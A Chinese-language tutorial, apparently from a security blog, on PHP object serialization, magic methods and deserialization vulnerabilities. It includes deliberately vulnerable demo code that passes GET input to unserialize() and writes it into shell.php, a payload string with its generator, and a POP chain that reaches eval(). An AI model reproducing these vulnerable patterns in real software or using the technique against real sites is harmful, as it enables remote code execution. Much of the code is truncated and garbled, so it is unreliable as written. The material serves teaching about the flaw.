serialize()
将对象转变成一个字符串便于之后的传递与使用。unserialize()
将序列化的结果恢复成对象。spl_autoload_register()
(自动包含类)实现b:value
b:0 //false
b:1 //true
i:value
i:1
i:-1
s:length:"value";
s:4:"aaaa";
N;
a::{key; value pairs};
a:1:{i:1;s:1:"a";}
O::""::{};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
name.'is '.$this->age.' years old';
}
}
$user = new User();
$user->name = 'John';
$user->age = 20;
$exp = serialize($user);
// O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:20;}
echo $exp.'
';
$user1 = unserialize($exp);
// 调用 PrintData() 函数:User Johnis 20 years old
$user1->PrintData();
?>
php 类中包含的一些以 _
开头的函数
__construct
对象被创建时调用,但 unserialize()
时不会调用
__destruct
对象被销毁时调用
__toString
对象被当做字符串使用时调用,返回一个字符串(不仅 echo
,比如 file_exists()
也会触发)
__sleep
序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组)
__wakeup
恢复反序列化对象之前调用
__call
调用不存在的方法时
更多魔术方法参照:http://php.net/manual/zh/language.oop5.magic.php#object.tostring
var1.'
';
}
public function __construct(){
echo "__construct
";
}
public function __destruct(){
echo "__destruct
";
}
public function __toString(){
return "__toString
";
}
public function __sleep(){
echo "__sleep
";
// 注意返回带类中所有变量名称的数组
return array('var1', 'var2');
}
public function __wakeup(){
echo "__wakeup
";
}
}
// 创建对象,输出__construct
$obj = new Str3am();
// 调用 echoP 方法
$obj->echoP();
// 把类当做字符串输出,输出__toString
echo $obj;
// 序列化对象,输出__sleep
$s = serialize($obj);
// O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'
';
// 反序列对象,输出__wakeup
unserialize($s);
// 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>
// logfile.php
';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// Destructor 删除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file.
';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
filename = 'somefile.log';
$obj->LogData('Test');
// php脚本结束啦,__destruct被调用,somefile.log文件被删除。
?>
反序列化漏洞主要原因在于程序逻辑,魔方函数或者其他函数存在危险功能,通过反序列刚好能利用这个功能,就导致了漏洞产生。
具体可以参见文末 Chybeta
的文章
用了 chybeta
大佬的代码做演示,index.php 源码如下:
test);
// fclose($fp);
file_put_contents('shell.php', $this->test);
}
}
$class = $_GET['test'];
print_r($class);
echo "
";
$class_unser = unserialize($class);
require("./shell.php");
payload O:7:"chybeta":1:{s:4:"test";s:18:"";}
,这里比较坑的一点是,访问页面前端显示是不完整的,需要查看源代码。
生成 payload 的代码:
test);
fclose($fp);
}
}
$class4 = new chybeta();
$class4->test = "";
$class4_ser = serialize($class4);
print_r($class4_ser);
?>
反序列化漏洞个人感觉比较依赖程序逻辑,有反序列化且调用危险函数的地方都可以留意下,同时还要注意调用其他对象的情况如下面这个例子:
test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "";
$class5_unser = unserialize($class5);
require "shell.php";
?>
当危险函数存在于普通成员方法而不是自动调用的 Magic Function 中时,这时候寻找相同的函数名。
ex1:
test = new ph0en1x();
}
function __destruct(){
$this->test->action();
}
}
class ph0en1x{
function action(){
echo "ph0en1x";
}
}
class ph0en2x{
var $test2;
function action(){
eval($this->test2);
}
}
$class = new chybeta();
unserialize($_GET['test']);
?>
希望执行 __destruct()
函数时调用 ph0en2x
中的 action()
函数,构造 pop 链
test->action();
}
}
class ph0en2x{
var $test2 = "phpinfo();";
function action(){
eval($this->test2);
}
}
$class = new chybeta();
$class->test = new ph0en2x();
echo serialize($class);
?>
脚本处理序列化所用处理器不一致导致漏洞,具体可以参照这篇文章
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
unserialize()
参数php序列化 - L3m0n
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html
浅谈php反序列化漏洞 - Chybeta
https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
理解 php 对象注入
http://wooyun.jozxing.cc/static/drops/papers-4820.html
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
http://wooyun.jozxing.cc/static/drops/tips-3909.html